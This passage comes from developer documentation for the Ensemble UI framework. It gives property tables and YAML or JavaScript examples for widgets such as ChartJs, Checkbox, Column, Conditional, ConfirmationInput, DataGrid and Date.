angle; - - var x = width / 2 + Math.cos((startAngle + endAngle) / 2) * (width / 2 - labelConfig.space); - var y = height / 2 + Math.sin((startAngle + endAngle) / 2) * (height / 2 - labelConfig.space); - - var label = text[i] + " " + labels[i].toString() +"%"; - var labelWidth = ctx.measureText(label).width; - var icon = iconUnicodes[i]; - var iconWidth = ctx.measureText(icon).width; - - var contentWidth = labelWidth + iconWidth + labelConfig.labelPadding * 2; // Icon width + label width + padding - var boxWidth = Math.max(contentWidth, 70); // Ensure a minimum box width - - var boxHeight = labelConfig.boxHeight; - var borderRadius = labelConfig.borderRadius; - - // Set label color to match area color - ctx.fillStyle = colors[i]; - - // Calculate box position - var boxX = x - boxWidth / 2; - var boxY = y - boxHeight / 2; - - // Draw label box - ctx.beginPath(); - ctx.moveTo(boxX + borderRadius, boxY); - ctx.lineTo(boxX + boxWidth - borderRadius, boxY); - ctx.quadraticCurveTo(boxX + boxWidth, boxY, boxX + boxWidth, boxY + borderRadius); - ctx.lineTo(boxX + boxWidth, boxY + boxHeight - borderRadius); - ctx.quadraticCurveTo(boxX + boxWidth, boxY + boxHeight, boxX + boxWidth - borderRadius, boxY + boxHeight); - ctx.lineTo(boxX + borderRadius, boxY + boxHeight); - ctx.quadraticCurveTo(boxX, boxY + boxHeight, boxX, boxY + boxHeight - borderRadius); - ctx.lineTo(boxX, boxY + borderRadius); - ctx.quadraticCurveTo(boxX, boxY, boxX + borderRadius, boxY); - ctx.closePath(); - ctx.fillStyle = '#fff'; - ctx.strokeStyle = "#fff"; - ctx.lineWidth = 1; - ctx.fill(); - ctx.stroke(); - - // Draw icon - ctx.font = '13px'; - ctx.fillStyle = '#9DAEC1'; - ctx.textAlign = 'center'; - ctx.textBaseline = 'middle'; - ctx.fillText(icon, x - (labelWidth + labelConfig.labelPadding) / 3, y); - - // Draw label text - ctx.font = '15px'; - ctx.fillStyle = "black"; - ctx.fillText(label, x + (iconWidth + labelConfig.labelPadding) / 2, y); - - ctx.canvas.style.zIndex = 100; - startAngle = endAngle; - } - - ctx.save(); - } - }] - }); - } - -``` -```yaml filename="source" -View: - body: - Column: - styles: - gap: 16 - padding: 24 - children: - - Button: - label: Add Data - onTap: - executeCode: - body: | - testLineChart.addLabels(['July','August','September']); - testLineChart.addData(0,[20,30,40]); - testLineChart.addData(1,[5,45,25]); - testLineChart.update(); - - ChartJs: - id: testLineChart - styles: - width: ${device.width} - config: | - { - type: 'line', - data: { - labels: [ - 'January', - 'February', - 'March', - 'April', - 'May', - 'June' - ], - datasets: [ - { - label: 'My First dataset', - backgroundColor: [ - 'rgba(255, 99, 132, 0.2)', - 'rgba(54, 162, 235, 0.2)', - 'rgba(255, 206, 86, 0.2)', - 'rgba(75, 192, 192, 0.2)', - 'rgba(153, 102, 255, 0.2)', - 'rgba(255, 159, 64, 0.2)' - ], - borderColor: [ - 'rgba(255,99,132,1)', - 'rgba(54, 162, 235, 1)', - 'rgba(255, 206, 86, 1)', - 'rgba(75, 192, 192, 1)', - 'rgba(153, 102, 255, 1)', - 'rgba(255, 159, 64, 1)' - ], - borderWidth: 1, - data: [0, 10, 5, 2, 20, 45], - fill: 'start' - },{ - label: 'My Second dataset', - backgroundColor: [ - 'rgba(255, 99, 132, 0.2)', - 'rgba(54, 162, 235, 0.2)', - 'rgba(255, 206, 86, 0.2)', - 'rgba(75, 192, 192, 0.2)', - 'rgba(153, 102, 255, 0.2)', - 'rgba(255, 159, 64, 0.2)' - ], - borderColor: [ - 'rgba(255,99,132,1)', - 'rgba(54, 162, 235, 1)', - 'rgba(255, 206, 86, 1)', - 'rgba(75, 192, 192, 1)', - 'rgba(153, 102, 255, 1)', - 'rgba(255, 159, 64, 1)' - ], - borderWidth: 1, - data: [5, 12, 7, 0, 18, 25], - fill: 'start' - } - ] - }, - options: { - scales: { - x: { - ticks: { - maxRotation: 0, - minRotation: 0 - } - } - }, - plugins: { - filler: { - propagate: false, - } - }, - interaction: { - intersect: false, - }, - tension: 0.4 - } - } - -``` -```javascript -myChart.setData(0, [60, 10, 20, 10]); -``` -```javascript -myChart.addLabels(["January", "February", "March"]); -``` -```javascript -myChart.addData(0, [10, 20, 30]); -``` -```javascript -myChart.update(); -``` - ---- - - -# Checkbox widget - -The Checkbox widget allows the rendering of checkbox input elements, enabling users to select or deselect options within your application for convenient and interactive data manipulation. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/21f43d9b-db21-40fe-9c2f-806267e6c412) - -## Properties - -| Property | Type | Description | -| :----------- | :------ | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| id | string | ID to be referenced later | -| maxWidth | integer | The max width of this Input widget (default 700). while min vlaue can be `0` and maximum can be `5000` | -| label | string | Label for your widget | -| labelHint | string | Hint text on your label | -| hintText | string | Hint text explaining your widget | -| required | boolean | Whether the field is required | -| enabled | boolean | Enables or disables the interactivity and input functionality of the widget | -| icon | object | [See properties](#icon) | -| onChange | [action](/pages/actions/directory.md) | Call Ensemble's built-in functions or execute code when the input changes. Note for free-form text input, this event only dispatches if the text changes AND the focus is lost (e.g. clicking on button) | -| value | boolean | true if checkbox is checked else otherwise | -| autoComplete | boolean | Enable the Input search suggestion option | -| items | array | List of values, or Objects with value/label pairs | -| leadingText | string | Sets the text displayed before the checkbox | -| trailingText | string | Sets the text displayed after the checkbox | - -### Styles - -#### Common Properties - -| Property | Type | Description | -| :------------------------ | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| variant | string | Select a pre-defined look and feel for this Input widget. This property can be defined in the theme to apply to all Input widgets. [see properties](#options-for-stylesvariant) | - -#### Stack Position Properties - -| Property | Type | Description | -| :------------------------ | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | - -#### Border Properties - -| Property | Type | Description | -| :------------------------ | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| errorBorderColor | integer or string | The border color when there are errors on this input field. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. Possible values: transparent, black, blue, white, red, grey, teal, amber, pink, purple, yellow, green, brown, cyan, indigo, lime, orange | -| focusedBorderColor | integer or string | The border color when this input field is receiving focus. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. Possible values: transparent, black, blue, white, red, grey, teal, amber, pink, purple, yellow, green, brown, cyan, indigo, lime, orange | -| focusedErrorBorderColor | integer or string | The border color of this input field when it is receiving focus in its error state. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. Possible values: transparent, black, blue, white, red, grey, teal, amber, pink, purple, yellow, green, brown, cyan, indigo, lime, orange | -| disabledBorderColor | integer or string | The border color when this input field is disabled. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. Possible values: transparent, black, blue, white, red, grey, teal, amber, pink, purple, yellow, green, brown, cyan, indigo, lime, orange | -| fillColor | integer or string | The fill color for this input fields. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. Possible values: transparent, black, blue, white, red, grey, teal, amber, pink, purple, yellow, green, brown, cyan, indigo, lime, orange | - -#### Padding Properties - -| Property | Type | Description | -| :------------------------ | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| contentPadding | integer or string | Padding around your input content with CSS-style notation, e.g., margin: 5 20 5. | - - - -### Box Styles (Inherited) -This widget also inherits these styles - ---- - -# Column widget - -Column is designed to arrange child widgets vertically, where the intrinsic sizes of child widgets dictate the layout's appearance. - -## Best Practices - -- If a single vertical scrollbar is needed for the entire screen, consider using `scrollableView: true` at the `View` level. -- If the entire screen's vertical space is used without a need for scrolling (or if the scrolling is inside some nested section), considered using FlexColumn](/widgets/flex-column.md) to fill the entire vertical space. -- Use Column to lay out the children vertically from top to bottom. Enable scrollable if the children might exceed the available space. -- **Avoid** using child widgets with no height constraint or sized itself to the parent inside the Column. -- **Avoid** using nested scrollable Column for better UX. - -## Key Concepts -- **mainAxisSize**: By default the height of a Column is determined by its parent's height constraint (if available), otherwise it will be the combined height of its children. You may force the Column to do the later (size itself to the children's combined height) with `mainAxisSize=min`. Note that a Column does not pass a height constraint to its children, so a Column inside another Column will always size itself to its children. -- **mainAxis**: This property controls the vertical alignment of the children within the Column. This property is useful only when the mainAxisSize is set to max (default) as there are available spaces to align the children. -- **crossAxis**: This property controls the horizontal alignment of the children within the Column. -- **scrollable**: Enable vertical scrolling when the child widgets grow wider than the available space. - -## Caveats -- **Column width**: Note that setting a width for a Column acts more like a maximum width constraint. The Column determines its actual width based on the widest child, aligning the other children along the horizontal cross-axis according to this width. This means if this actual width is less than the specified width, the `crossAxis` only affects the alignment of the children within the determined (lesser) width. -If you wish to stretch all the children to the same specified width, add `crossAxis: stretch` in addition to the fixed width. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/90a8e4df-5eab-4473-ba10-2ecffc9596b0) - -## Reference -#### Properties - -| Property | Type | Description | -| :------------ |:---------------------------------------|:--------------------------------------------------------| -| children | [Widget[]](widgets/directory) | List of child widgets | -| item-template | [ItemTemplate](#item-template) | List of templated widgets, appearing after the children | -| styles | object | [See properties](#styles) | - -#### item-template - -| Property | Type | Description | -| :------- | :----- | :----------------------------------------------------------------- | -| data | string | Bind to an array of data from an API response or a variable | -| name | string | Set the name to reference as you iterate through the array of data | -| template | widget | The widget to render for each item | - -#### styles - -| Property | Type | Description | -| :--------------------------- |:-----------------------------------------------------------|:----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| -| mainAxisSize | integer | If 'max', stretch the Column to fill its parent's height. Otherwise (min) the column's height will be its children's combined. `min` `max` | -| mainAxis | string | Control our children's layout vertically. `start` `center` `end` `spaceBetween` `spaceAround` `spaceEvenly` | -| crossAxis | string | Control the horizontal alignment of the children. `start` `center` `end` `stretch` `baseline` | -| fontSize | integer | Sets the size of the text. | -| fontFamily | string | Set the font family applicable for all widgets inside this container, see the list of all available font families [here](https://github.com/material-foundation/flutter-packages/blob/main/packages/google_fonts/generator/families_supported). | -| gap | integer | The gap between the children in the main direction | -| scrollable | boolean | Set to true so content can scroll vertically as needed | -| autoFit | boolean | Explicitly make the column's width as wide as the largest child, but only if our column's parent does not already assign a width. This attribute is useful for sizing children who don't have a width (e.g Divider) | -| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| borderColor | [Color](#Color) | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| borderWidth | integer | Thickness of the border. Minimum value should be 0. | -| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | -| shadowRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | -| margin | string or integer | Margin with CSS-style notation | -| padding | string or integer | Padding with CSS-style value | -| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | -| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | -| backgroundImage | [BackgroundImage](#BackgroundImage) | Background image of the box. | -| backgroundGradient | [Gradient](#Gradient) | Background gradient of the box | -| backgroundColor | [Color](#Color) | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g. stretch horizontally for parent of type Row) | -| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | [Color](#Color) | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | -| enableSplashFeedback | boolean | Toggles splash effect feedback for the widget when `true`. | -| splashColor | string | Defines the color of the splash effect when `enableSplashFeedback` is true. | -| splashDuration | integer | This is the duration it takes to fill the widget surface with the splashColor.The duration in ms when tap and release on the widget. | -| splashFadeDuration | integer | The duration it takes to fade out once tapped. Since a typical tap starts and ends immdiately, this splashFadeDuration executes almost at the same time as the splashDuration, so ideally it should be equal or longer than splashDuration to see the entire effect. | -| unconfirmedSplashDuration | integer | This happens when the user tap and hold (not yet released). It is called unconfirmed since the tap will be cancelled if the user moves out of the tap area and release. Usually this should be longer (around 1 secs) to signify that the user has not confirmed the tap. | - ---- - -# Conditional widget - -Conditional widget allows developers to conditionally render UI elements based on specified conditions, enhancing dynamic content display and personalized user experiences within the app. - -### Properties - -| Property | Type | Description | -| ---------- | ----- | -------------------------------------------------------------------------------------------- | -| conditions | array | Allow users to conditionally render their widgets using `if`, `elseif` and `else` statements | - -**Example** -Conditional widget is very useful specially when making a custom widget where users might want to have a default value and an optional value. Let us take an example for its use case - -Consider that you are trying to make a custom widget or Button for dealing with social logins, since there are more than on platforms like Meta, Google, Apple etc so choosing an image based on `provider` variable is a viable choice. But how can we check if `provider` is apple or google etc ? - -#### Steps - -- First of all declare the base custom widget yaml code. Then use `Conditional` to render `Image` widget accordingly. - -**Code** - -```yaml -Widget: - inputs: - - provider - - label - onLoad: | - //@code - - console.log(provider); - console.log(label); - - function capitalizeString(str) { - return str.charAt(0).toUpperCase() + str.substring(1) ; - } - - if (label.length > 0 ) - providerText.text = label; - else - providerText.text = "Sign In With " + capitalizeString(provider); - - body: - Stack: - styles: - alignChildren: centerLeft - children: - - Conditional: - conditions: - - if: ${provider === 'apple' || provider === 'Apple' } - Image: - source: https://firebasestorage.googleapis.com/v0/b/ensemble-web-studio.appspot.com/o/custom_widgets_assets%2Fsocial_login%2Fapple.png?alt=media&token=893491f0-5300-4b29-8fce-30fe98eaec76 - styles: - height: 24 - width: 24 - padding: 0 24 - - elseif: ${provider === 'google' || provider === 'Google' } - Image: - source: https://firebasestorage.googleapis.com/v0/b/ensemble-web-studio.appspot.com/o/custom_widgets_assets%2Fsocial_login%2Fgoogle.png?alt=media&token=c91b1a27-a0bd-40c2-b82d-0f250762bc0b - styles: - height: 24 - width: 24 - padding: 0 24 - - - Row: - id: rowId - styles: - borderColor: 0xFFDEDED4 - crossAxis: center - mainAxis: center - borderRadius: 8 - height: 50 - children: - - Text: - id: providerText - styles: - textStyle: - fontSize: 12 -``` - ---- - -# ConfirmationInput widget - -The ConfirmationInput Widget enables the seamless rendering of a verification view. The usecases are entering OTP, Confirmation Code, PIN Number, Reset Password, Coupon and more. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/iCOvav6CcioH46LR6wYF) - -## Properties - -| Property | Type | Description | -| :--------------- | :------ | :---------------------------------------------------------------------------------------------- | -| length | integer | The number of the text fields item. | -| enableCursor | boolean | If the button is inside a Form and upon on tap, it will execute the form's onSubmit action if this property is TRUE. | -| autoComplete | boolean | If it is True, then it will trigger onComplete when the user specified length and has typed the full length, False will trigger onComplete when the user hit Enter. Defaults (True). | -| fieldType | string | How the input field should be displayed. | -| inputType | string | Pick a predefined input type. | -| obscureText | boolean | To display the pin as obscure. Default is `false` | -| obscureSymbol | string/Icon | To display in place of pin as obscure if `obscureText` is `true`, it can be a character of length `1` or a `icon` widget. Default is `*` | -| defaultFieldBorderColor | string | Set the border color for inactive/unfocused state of text field. | -| activeFieldBorderColor | string | Set the border color for active/focused state of text field. | -| filledFieldBorderColor | string | Set the border color for filled state of text field. | -| defaultFieldBackgroundColor | string | Set the background Color for inactive/unfocused state of text field. | -| activeFieldBackgroundColor | string | Set the ackground Color for active/focused state of text field. | -| filledFieldBackgroundColor | string | Set the ackground Color for filled field state of text field. | -| cursorColor | string | Set the color for the cursor. | -| styles | object | [See properties](#styles) | -| onChange | action | Execute an action when a change is detected to the text field | -| onComplete | action | Execute an action when the text field fully entered or when keyboard submitted button tapped | -| autofillEnabled | boolean | Enables or disables the autofill functionality for the input field. Default is `false`. | - ---- - -# DataGrid widget - -The DataGrid Widget enables the seamless rendering of data grids, facilitating the organized display and manipulation of tabular data within your application for effective data representation and interaction. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/c5940e18-f2c1-4318-8e68-a678a6ae7247) - -## Properties - -| Property | Type | Description | -| :--------------- | :------ | :----------------------------------------------------------------------------------- | -| item-template | object | [See properties](#item-template) | -| children | array | List of Data Row widgets. | -| styles | object | [See properties](#styles) | -| horizontalMargin | integer | The leading and trailing gap for the DataGrid view. | -| dataRowHeight | integer | Set the height of the data row item. | -| headingRowHeight | integer | Set the height of the heading row item. | -| columnSpacing | number | Set the padding for the column. | -| dividerThickness | integer | Determines the thickness or width of dividers in the DataGrid widget. | -| DataColumns | array | List of data columns | -| sorting | object | Sort the data columns in ascending or descending order. [See properties](#styles) | -| thumbThickness | double | Set thickness of scrollbar. Default value is `10.0`. | -| scrollbarBehaviour| enum | Scrollbar behaviour `static` or `fade` when grid is not intereacted with. Default is `fade`. | - -### sorting - -| Property | Type | Description | -| :--------------- | :----- | :--------------------------------------------------------------------------------------------------------------------------------------------------- | -| columnIndex | String | The index of the data column to be sorted | -| order | String | Set the data column sorting either in `ascending` or `descending` order - -### item-template - -| Property | Type | Description | -| :------- | :----- | :----------------------------------------------------------------- | -| data | string | Bind to an array of data from an API response or a variable | -| name | string | Set the name to reference as you iterate through the array of data | -| template | array | The data row widget to render for each item | - -### styles - -| Property | Type | Description | -| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | -| borderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| borderWidth | integer | Thickness of the border. Minimum value should be 0. | -| shadowColor | integer or string | Sets the box shadow color starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| shadowOffset | array | The values in array define the horizontal and vertical offset of the shadow. Example: if the shadowOffset is set to [2, 4], the shadow will be offset by 2 pixels horizontally and 4 pixels vertically from its original position. | -| shadowStyle | string | The blur style to apply on the shadow `normal`, `solid`, `outer`, `inner` | -| stackPositionTop | integer | The distance of the child's top edge from the top of the stack. This is applicable only for Stack's children. | -| stackPositionBottom | integer | The distance that the child's bottom edge from the bottom of the stack. This is applicable only for Stack's children. | -| stackPositionLeft | integer | The distance that the child's left edge from the left of the stack. This is applicable only for Stack's children. | -| stackPositionRight | integer | The distance that the child's right edge from the right of the stack. This is applicable only for Stack's children. | -| backgroundImage | object | Background image of the box. [see properties](#stylesbackgroundImage) | -| backgroundGradient | object | Background gradient of the box [see properties ](#stylesbackgroundGradient) | -| backgroundColor | integer or string | Background color of the box. which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| alignment | string | The alignment of the widget relative to its parent. `topLeft`, `topCenter`, `topRight`, `centerLeft`, `center`, `centerRight`, `bottomLeft`, `bottomCenter`, `bottomRight` | -| visible | boolean | Toggle a widget visibility on/off. Note that an invisible widget will not occupy UI space, unless the visibilityTransitionDuration is specified. | -| visibilityTransitionDuration | number | Specify the duration in seconds when a widget animates between visible and not visible state. Note that setting this value will cause the widget to still occupy the UI space even when it is not visible. | -| opacity | double | Adjusts the opacity of the widget. Values range from 0 (fully transparent) to 1 (opaque). Default is `1`. | -| elevation | integer | The z-coordinate at which to place this material relative to its parent. A non-zero value will show a shadow, with its size relative to the elevation value. Minimum value: 0, Maximum value: 24 | -| elevationShadowColor | integer or string | The shadow color for the elevation, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| elevationBorderRadius | string or integer | The border radius of the widget.This can be specified using CSS-like notation with 1 to 4 integers. Minimum value: 0. | -| margin | string or integer | Margin with CSS-style notation | -| padding | string or integer | Padding with CSS-style value | -| width | integer | The width property determines the horizontal size of an element, allowing control over its width dimension within the layout. | -| height | integer | The height property determines the vertical size of an element, allowing control over its height dimension within the layout. | -| captureWebPointer | boolean | Applicable for Web only. When overlaying widgets on top of certain HTML container (e.g. Maps), the mouse click is captured by the HTML container, causing issue interacting with the widget. Use this to capture and maintain the mouse pointer on your widget. | -| headingText | object | Set the text style for the heading text.[see properties](#headingtext) | -| dataText | object | Set the text style for the data item text. [see properties](#headingtext) | - -### styles.backgroundGradient - -| Property | Type | Description | -| :------- | :----- | :--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| colors | array | The list of colors used for the gradient. Colors can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. | -| start | string | The starting position of the gradient | -| end | string | The ending position of the gradient | - -### styles.backgroundImage - -| Property | Type | Description | -| :-------- | :----- | :------------------------------------------------------------------------------------------------------------------------------------------------- | -| source | string | The Image URL to fill the background | -| fit | string | How to fit the image within our width/height or our parent (if dimension is not specified) . [see options](#fit-options-for-stylesbackgroundimage) | -| alignment | string | Alignment of the background image | - -#### Fit options for styles.backgroundImage - -| Option | Description | -| :-------- | :-------------------------------------------------------------------------------------------------- | -| fill | Stretch our image to fill the dimension, and distorting the aspect ratio if needed | -| contain | Scale the image such that the entire image is contained within our dimension | -| cover | Scale the image to fill our dimension, clipping the image as needed | -| fitWidth | Scale the image to fit the width, and clipping the height if needed | -| fitHeight | Scale the image to fit the height, and clipping the width if needed | -| none | Center-Align the original image size, clipping the content if needed | -| scaleDown | Center-Align the image and only scale down to fit. Image will not be scaled up to bigger dimension. | - -#### styles.headingText - -| Property | Type | Description | -| :--------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| fontSize | integer | Sets the size of the text. | -| color | integer or string | The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| decoration | string | A linear decoration to draw near the text. `none` `lineThrough` `underline` `overline` | -| font | string | Default built-in style for this text. `heading` `title` `subtitle` | -| fontWeight | string | The thickness of the glyphs used to draw the text. `light` `normal` `bold` `w100` `w200` `w300` `w400` `w500` `w600` `w700` ` w800``w900 ` | -| lineHeight | string or integer | The line height of the text, which determines the vertical spacing between lines. It can be specified as, a number, or a string chosen from a set of predefined values: `default` `1.0` `1.15` `1.25` `1.5` `2.0` `2.5` | -| textStyle | string | A linear decoration to draw near the text or whether to slant the glyphs in font. `normal` `italic` `underline` `strikethrough` `italic_underline` `italic_strikethrough` | | - ---- - -# Date widget - -The Date Widget facilitates the rendering of date input fields, providing a user-friendly interface for selecting and displaying dates within your application for date-related functionality. - -[Test in Kitchen Sink](https://studio.ensembleui.com/app/e24402cb-75e2-404c-866c-29e6c3dd7992/screen/e7zOy8oX5dxQU7kD5IO4) - -## Properties - -| Property | Type | Description | -| :--------------- | :------ | :------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| id | string | ID to be referenced later | -| maxWidth | integer | The max width of this Input widget (default 700) | -| label | string | Label for your widget | -| labelHint | string | Hint text on your label | -| hintText | string | Hint text explaining your widget | -| required | boolean | Whether the field is required | -| enabled | boolean | Enables or disables the interactivity and input functionality of the widget | -| icon | object | [See properties](#icon) | -| onChange | action | Call Ensemble's built-in functions or execute code when the input changes. Note for free-form text input, this event only dispatches if the text changes AND the focus is lost (e.g. clicking on button) | -| styles | object | [See properties](#styles) | -| initialValue | string | The highlighted initial date in the calendar picker (default is Today). Use format YYYY-MM-DD. | -| firstDate | string | The first selectable date in the calendar. Use format YYYY-MM-DD | -| lastDate | string | The last selectable date in the calendar. Use format YYYY-MM-DD | -| showCalendarIcon | boolean | Whether we should show (default) or hide the calendar icon. Selecting the text will still open the calendar picker | - -### icon - -| Property | Type | Description | -| :------- | :---------------- | :---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| name | string | The name of the icon | -| library | string | Which icon library to use. | -| color | integer or string | The color specification for the text, which can be represented in different formats. It can be specified as a number, a predefined color name, or a hexadecimal value starting with '0x'. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| size | integer | Defines the dimensions or magnitude of an element, allowing control over its overall size within the layout. | - -### styles - -| Property | Type | Description | -| :--------------------------- | :---------------- | :-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| expanded | boolean | If the parent is a Row or Column, this flag will stretch this widget in the appropriate direction. (e.g stretch horizontally for parent of type Row) | -| variant | string | Select a pre-defined look and feel for this Input widget. This property can be defined in the theme to apply to all Input widgets. | -| contentPadding | integer or string | Padding around your input content with CSS-style notation e.g. margin: 5 20 5 | -| fillColor | integer or string | The fill color for this input fields. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| borderRadius | integer | The border radius for this Input widget. This property can be defined in the theme to apply to all Input widgets. | -| borderWidth | integer | The border width for this Input widget. This property can be defined in the theme to apply to all Input widgets. | -| borderColor | integer or string | Sets the border color, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| errorBorderColor | integer or string | The border color when there are errors on this input field. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| focusedBorderColor | integer or string | The border color when this input field is receiving focus. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| focusedErrorBorderColor | integer or string | The border color of this input field when it is receiving focus in its error state. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` `cyan` `indigo` `lime` `orange` | -| disabledBorderColor | integer or string | The border color when this input field is disabled. This property can be defined in the theme to apply to all Input widgets, starting with '0xFF' for full opacity. `transparent` `black` `blue` `white` `red` `grey` `teal` `amber` `pink` `purple` `yellow` `green` `brown` 